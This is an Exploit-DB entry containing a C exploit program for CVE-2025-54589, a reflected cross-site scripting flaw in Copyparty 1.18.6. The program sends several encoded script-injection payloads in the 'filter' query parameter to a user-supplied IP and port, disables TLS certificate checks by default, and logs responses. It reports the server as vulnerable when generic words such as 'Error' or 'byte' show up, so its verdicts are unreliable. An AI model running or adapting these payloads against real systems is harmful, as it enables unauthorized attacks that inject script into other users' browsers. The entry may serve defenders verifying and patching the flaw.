Copyparty 1.18.6 - Reflected Cross-Site Scripting (XSS)

EDB-ID:

52390




Platform:

Multiple

Date:

2025-08-03


/*
 * Author       : Byte Reaper
 * CVE          : CVE-2025-54589
 * Title : Copyparty 1.18.6 - Reflected Cross-Site Scripting (XSS)
 * CVE-2025-54589 is a reflected cross-site scripting (XSS) vulnerability in Copyparty (≤ 1.18.6) where the filter parameter is inserted into the HTML response without proper sanitization,
  allowing an attacker to inject and execute arbitrary JavaScript in a victim’s browser
*/

#include <curl/urlapi.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <stdlib.h> 
#include <arpa/inet.h>
#include <stdarg.h>
#include <unistd.h>

#define FULL_URL 2500
#define COLOR_RESET "\e[0m"
#define COLOR_RED   "\e[1;31m"
#define COLOR_GRN   "\e[1;32m"
#define COLOR_YEL   "\e[1;33m"
#define COLOR_BLU   "\e[1;34m"
#define COLOR_CYN   "\e[1;36m"
#define COLOR_WHT   "\e[1;37m"
#define COLOR_PUR   "\e[1;35m"
#define PRINT_OK(fmt, ...)    print_color(COLOR_GRN, "" fmt, ##__VA_ARGS__)
#define PRINT_ERR(fmt, ...)   print_color(COLOR_RED, "" fmt, ##__VA_ARGS__)
#define PRINT_WARN(fmt, ...)  print_color(COLOR_YEL, "" fmt, ##__VA_ARGS__)
#define PRINT_INFO(fmt, ...)  print_color(COLOR_BLU, "" fmt, ##__VA_ARGS__)
#define PRINT_NOTE(fmt, ...)  print_color(COLOR_CYN, "" fmt, ##__VA_ARGS__)

int verbose = 0;
int useC = 0;
const char *ipT = NULL;
int  portT = 0;
const char *cookies = NULL;
const char *caFile = NULL;
int sCa = 0;
int useColor = 1;
int useHttp = 0;
void print_color(const char *color, const char *fmt, ...) 
{
    va_list args;
    va_start(args, fmt);
    if (useColor)
    {
        printf("%s", color);
    }
        
    vprintf(fmt, args);
    if (useColor)
    {
        printf("%s", COLOR_RESET);
    }
        
    va_end(args);
}
void exitAssembly()
{
    __asm__ volatile
    (
        "xor %%rdi, %%rdi\n\t"
        "mov $231, %%rax\n\t"
        "syscall\n\t"
        :
        :
        : "rax",
          "rdi"
    );
}
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        PRINT_ERR("[-] Failed to allocate memory!\n");
        exitAssembly();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
const char *payloadXss[] = 
{

    "</script><script>alert(1)</script>",
    "<script\x09type=\"text/javascript\">javascript:alert(XSS);</script>",
    "<script\x0Ctype=\"text/javascript\">javascript:alert(byte);</script>"
};
int number = sizeof(payloadXss) / sizeof(payloadXss[0]);
const char *wordF[] = 
{
    "Error",
    "Exception",
    "Invalid",
    "XSS",
    "<script>",
    "</script>",
    "alert(1)",
    "syntax",
    "unexpected",
    "undefined",
    "NaN",
    "stack trace",
    "TypeError",
    "ReferenceError",
    "Warning",
    "Access denied",
    "eval(",
    "byte",
};
int numberW = sizeof(wordF) / sizeof(wordF[0]);


void auto_detect_color() 
{
    if (!isatty(fileno(stdout)))
    {
        useColor = 0;
    }
}
void senR(const char *ip, int port)
{
    char full[FULL_URL];
    CURLcode res ;
    CURL *curl = curl_easy_init();
    struct  Mem response ;
    response.buffer= NULL;
    response.len = 0;
    for (int h = 0; h < number ; h++)
    {
        if (!curl)
        {
            PRINT_ERR("[-] Error Create Object Curl !\n");
            PRINT_ERR("[-] Check Your Connection\n");
            exitAssembly();
             
        }
        if (verbose)
        {
            PRINT_OK("==========================================\n");
            PRINT_OK("[1;33m[+] Cleaning Response...\n");
            PRINT_OK("[1;33m[+] Response Buffer : NULL\n");
            PRINT_OK("[1;33m[+] Response Len : 0\n");
            PRINT_OK("==========================================\n");
        }
        if (curl)
        {

            char *payloadE = curl_easy_escape(curl,
                payloadXss[h],
                0);
            struct curl_slist *headers = NULL;
            if (!payloadE)
            {
                PRINT_ERR("[-] Error Encode Payload !\e[0m\n");
                curl_slist_free_all(headers);
                curl_easy_cleanup(curl);
                exitAssembly();             
            }
            
            const char *proto = useHttp ? "http" : "https";
            int len1 = snprintf(full, sizeof(full), "%s://%s:%d/?filter=%s", proto, ip, port, payloadE);
            if (len1 >= sizeof(full))
            {
                PRINT_ERR("[-] URL too long\n");
                exitAssembly();
            }
            PRINT_INFO("[+] Encode Payload : %s\n", payloadXss[h]);
            PRINT_INFO("[+] Encode Payload Successfully.\n");
            PRINT_INFO("[+] Payload Encode : %s\n", payloadE);
            PRINT_INFO("[+] target IP : %s\n",
                ip);
            printf("[+] Full Url : %s\n",
                full);
            printf("[+] Port : %d\n", port);
            curl_easy_setopt(curl,
                CURLOPT_URL,
                full);
            curl_free(payloadE);
            if (useC)
            {
                curl_easy_setopt(curl,
                                 CURLOPT_COOKIEFILE,
                                    cookies);
                curl_easy_setopt(curl,
                                 CURLOPT_COOKIEJAR,
                                 cookies);
            }
            curl_easy_setopt(curl,
                CURLOPT_FOLLOWLOCATION,
                1L);
            curl_easy_setopt(curl,
                            CURLOPT_WRITEFUNCTION,
                            write_cb);
            curl_easy_setopt(curl,
                            CURLOPT_WRITEDATA,
                                &response);
            curl_easy_setopt(curl,
                            CURLOPT_CONNECTTIMEOUT,
                            5L);
            usleep(1500000);
            curl_easy_setopt(curl,
                        CURLOPT_TIMEOUT,
                                10L);
            if (sCa)
            {
                curl_easy_setopt(curl, CURLOPT_CAINFO, caFile);
            }
            else 
            {   
                curl_easy_setopt(curl,
                    CURLOPT_SSL_VERIFYPEER,
                    0L);
                curl_easy_setopt(curl,
                                CURLOPT_SSL_VERIFYHOST,
                                0L);
            }
    
            headers = curl_slist_append(headers,
                                    "Accept-Language: en-US,en");
            headers = curl_slist_append(headers,
                                        "Connection: keep-alive");
            char refR[120];
            int lenF  = snprintf(refR,
                sizeof(refR), 
                "Referer: http://%s:%d", 
                ip, 
                port);
            if (lenF < 0 || (size_t)lenF >= sizeof(refR))
            {
                PRINT_ERR("[-] Len Header Referer is Long ! \n");
                response.buffer = NULL;
                response.len = 0;
                curl_slist_free_all(headers);
                curl_easy_cleanup(curl);
                exitAssembly();
                
            }
            headers = curl_slist_append(headers, refR);
            curl_easy_setopt(curl,
                 CURLOPT_HTTPHEADER, 
                 headers);
            if (verbose)
            {
                PRINT_OK("------------------------------------------[Verbose Curl]------------------------------------------\n");
                curl_easy_setopt(curl,
                                CURLOPT_VERBOSE,
                                1L);
            }
            res = curl_easy_perform(curl);
            curl_slist_free_all(headers);
            if (res == CURLE_OK)
            {
                PRINT_OK("-----------------------------------------------------------------\n");
                long httpCode  = 0;
                curl_easy_getinfo(curl,
                                CURLINFO_RESPONSE_CODE,
                                 &httpCode);
                PRINT_INFO("[+] Request sent successfully\e[0m\n");
                PRINT_OK("[+] Http Code -> %ld\e[0m\n", httpCode);
                FILE *log = fopen("results.txt", "a");
                if (log == NULL)
                {
                    PRINT_ERR("[-] Error Create File !\n");
                    exitAssembly();
                }
                if (log) 
                {
                    fprintf(log, "[+] Target: %s:%d | Payload: %s\n",
                             ip, 
                             port,
                              payloadXss[h]);
                    fprintf(log, "[+] Response : \n%s\n", 
                            response.buffer);
                    fclose(log);
                }
                if (httpCode >= 200 && httpCode < 300)
                {
                    

                    PRINT_OK("[+] Http Code (200 < 300) : %ld\n",httpCode);
                    for (int s = 0; s < numberW ; s++) 
                    {
                        if (strstr(response.buffer, wordF[s]) != NULL)
                        {
                            PRINT_INFO("[+] A suspicious word was found in the server's response !!\n");
                            PRINT_INFO("[+] Word Found : %s\n", wordF[s]);
                            PRINT_NOTE("[+] The vulnerability CVE-2025-54589 exists on the server\n");
                            PRINT_OK("\n======================================== [Response Server] ========================================\n");
                            printf("%s\n", response.buffer);
                            printf("[Len] : %zu\n", response.len);
                            PRINT_OK("\n==================================================================================================\n");

                        }
                    }   
                
                }
                else
                {
                    PRINT_ERR("[-] HTTP Code Not Range Positive (200 < 300) : %ld\n", httpCode);
                    PRINT_ERR("[+] Try Next Payload : %s\e[0m\n", payloadXss[h]);
                }
           
            
            }
            else
            {
                PRINT_ERR("[-] Error Send Request\n");
                PRINT_ERR("[-] Error : %s\e[0m\n", curl_easy_strerror(res));
                exitAssembly();
            }
        
        }
    }
    if (response.buffer)
    {
        free(response.buffer);
        response.buffer = NULL;
        response.len = 0;
    }
    curl_easy_cleanup(curl);
}


int main(int argc,
         const char **argv)
{
    curl_global_init(CURL_GLOBAL_DEFAULT);
    
    printf(
        "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▖▖▄▖▄▖▄▖\n"
        "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌▙▖▙▌▙▌\n"
        "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  ▄▌ ▌▄▌▙▌▄▌\n"
                        "Byte Reaper\n"
    );
    int noColor = 0;
    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('i',
                    "ip",
                    &ipT,
                    "Target IP "),
        OPT_STRING('c',
                    "cookies",
                    &cookies,
                    "cookies File"),
        OPT_BOOLEAN('v',
                     "verbose",
                     &verbose,
                     "Verbose Mode"),   
        OPT_INTEGER('p', 
            "port", 
            &portT,
            "Enter Target Port"),
        OPT_STRING('a', 
            "ca" ,
            &caFile, 
            "Enter Name File CA\n"),
        OPT_BOOLEAN('t', "http", &useHttp, "HTTP Protocol"),
        OPT_BOOLEAN('n',
             "no-color",
             &noColor, 
             "Disable colored output"),
        OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                options,
                NULL,
                0);
 
    argparse_parse(&argparse,
                argc,
                argv);
    if (ipT == NULL)
    {
        PRINT_ERR("[-] Please Enter Target Ip And Port !\n");
        PRINT_ERR("[-] Ex : ./exploit -i <IP> -p <PORT>\n");
        PRINT_ERR("[-] Exit Syscall\n");
        curl_global_cleanup();
        exitAssembly();
    };
    printf("---------------------------------------------------------------------\n\n");
    printf("[+] Start Exploit XSS (CVE-2025-54589)...\n");
    if (cookies)
    {
        useC = 1;
    }
    if (verbose)
    {
         verbose = 1;
    }
    if (!portT)
    {
        printf("[+] Default Port : %d\n", 3923);
        portT = 3923;
    } 
    if (caFile)
    {
        sCa = 1;
    }
    if (useColor)
    {
        useColor = 1;
    }

    if (noColor) 
    {
        
        useColor = 0;    
    }
    if (useHttp)
    {
        useHttp = 1;
    }
    auto_detect_color();
    senR(ipT, portT);
    curl_global_cleanup();
    return 0;
 }